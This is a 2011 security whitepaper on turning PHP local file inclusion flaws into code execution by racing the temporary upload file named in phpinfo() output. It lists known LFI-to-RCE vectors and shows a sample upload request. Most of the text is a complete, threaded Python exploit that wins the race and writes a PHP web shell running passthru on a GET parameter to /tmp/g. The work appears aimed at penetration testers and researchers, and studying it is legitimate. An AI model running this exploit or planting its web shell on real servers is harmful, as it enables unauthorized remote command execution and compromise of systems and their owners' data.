:: RESEARCH PAPER ::

LFI WITH PHPINFO() ASSISTANCE

Version 1.0, September 2011

Brett Moore, Network Intrusion Specialist
brett.moore@insomniasec.com

INSOMNIA SECURITY
www.insomniasec.com

Introduction

During assessments it is still common to find LFI vulnerabilities when testing PHP applications. Depending on the server configuration it is often possible to convert these into code execution primitives through known techniques such as;

- /proc/self/environ
- /proc/self/fd/...
- /var/log/...
- /var/lib/php/session/ (PHP Sessions)
- /tmp/ (PHP Sessions)
- php://input wrapper
- php://filter wrapper
- data: wrapper

The research in this whitepaper is an extension of the published work by **Gynvael Coldwind** in the paper

> "*PHP LFI to arbitratry code execution via rfc1867 file upload temporary files*"
>
> http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf

In that paper, the author documents information related to how the PHP file upload feature works. In particular he notes that if ***file_uploads = on*** is set in the PHP configuration file, then PHP will accept a file upload post to any PHP file. He also notes that the upload file will be stored in the tmp location, until the requested PHP page is fully processed.

This is also included in the PHP documentation;

> http://www.php.net/manual/en/features.file-upload.post-method.php
>
> *The file will be deleted from the temporary directory at the end of the request if it has not been moved away or renamed.*

In the paper, Gynvael Coldwind, includes a method of exploiting this behaviour on Windows systems through the use of the *FindFirstFile quirk.* This behaviour is documented in the paper;

> *Oddities of PHP file access in Windows®. Cheat-sheet, 2011 (Vladimir Vorontsov, Arthur Gerkis)*
>
> http://onsec.ru/onsec.whitepaper-02.eng.pdf

Although unrelated to LFI research, the following paper is interesting reading material for PHP web application security researchers. It documents a behavioural issue with PHP scripts handling when invoked through the HEAD HTTP verb;

> *HTTP HEAD method trick in php scripts (Adam Iwaniuk)*
>
> https://students.mimuw.edu.pl/~ai292615/php_head_trick.pdf

The *FindFirstFile quirk* does not affect the PHP engine on GNU/Linux; however under certain conditions exploitation of the PHP file upload feature is still possible. This paper details one of these conditions, which becomes available when access to a script that outputs the results of a *phpinfo()* call, is available on the target server.

LFI With PHPInfo() Assistance

The following server side components are required to satisfy this exploitable condition;

- LFI Vulnerability

  A local file inclusion vulnerability is required to exploit. This script will be used to include the file uploaded through the PHPInfo script.

- PHPInfo() script

  Any script that displays the output of the PHPInfo() function will do. In most cases this will be /phpinfo.php

Why PHPInfo()?

The output of the PHPInfo() script contains the values of the PHP Variables, including any values set via **_GET**, **_POST** or uploaded **_FILES**.

The following request and output screenshot shows how the PHPInfo() script can be used to discover the temporary name of the uploaded file.

```
POST /phpinfo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=---------------------------
7db268605ae
Content-Length: 196

-----------------------------7db268605ae
Content-Disposition: form-data; name="dummyname"; filename="test.txt"
Content-Type: text/plain

Security Test
-----------------------------7db268605ae
```

PHP Variables

Variable	Value
_FILES["dummyname"]	Array ([name] => test.txt [type] => text/plain [tmp_name] => /tmp/phpjcmFa3 [error] => 0 [size] => 13)
_SERVER["CONTENT_TYPE"]	multipart/form-data; boundary=---------------------------7db268605ae

Winning The Race

As outlined on the first page, the temporary uploaded file only exists while the PHP processor is operating on the requested .php file, and is deleted at the end of processing.

Operations on the temporary files can be watched using the command; `sudo inotifywat -m -r /tmp`

It can be assumed that if the output of the file has been sent back to the browser, then the PHP processor has finished and the file has been deleted. Although not normally noticeable, it IS possible to retrieve partial output content while the PHP processor is still operating on a requested file.

PHP uses output buffering to increase efficiency of data transfer, by default this is enabled and set to 4096.

http://php.net/manual/en/outcontrol.configuration.php#ini.output-buffering

When output from a PHP script is larger than the output buffer setting, partial content is returned to the requestor using chunked transfer encoding; http://en.wikipedia.org/wiki/Chunked_transfer_encoding

To ensure the output of the PHPInfo script is larger than the threshold, and to slightly increase the processing time, extra padding is included through sending extra HTTP header values of a large length.

By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name. This allows us to win the race, and effectively transform the LFI vulnerability into code execution.

This technique has been proven both against local network machines, as well as against remote targets over the Internet.

```
#!/usr/bin/python
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=-----------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script
    LFIREQ="""GET /lfi.php?load=%s%%00 HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

```
    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()

            except socket.error:
                return

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
```

```
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()
if __name__=="__main__":
    main()
```

Thanks to metlstorm for the python assistance, any errors must be his ☺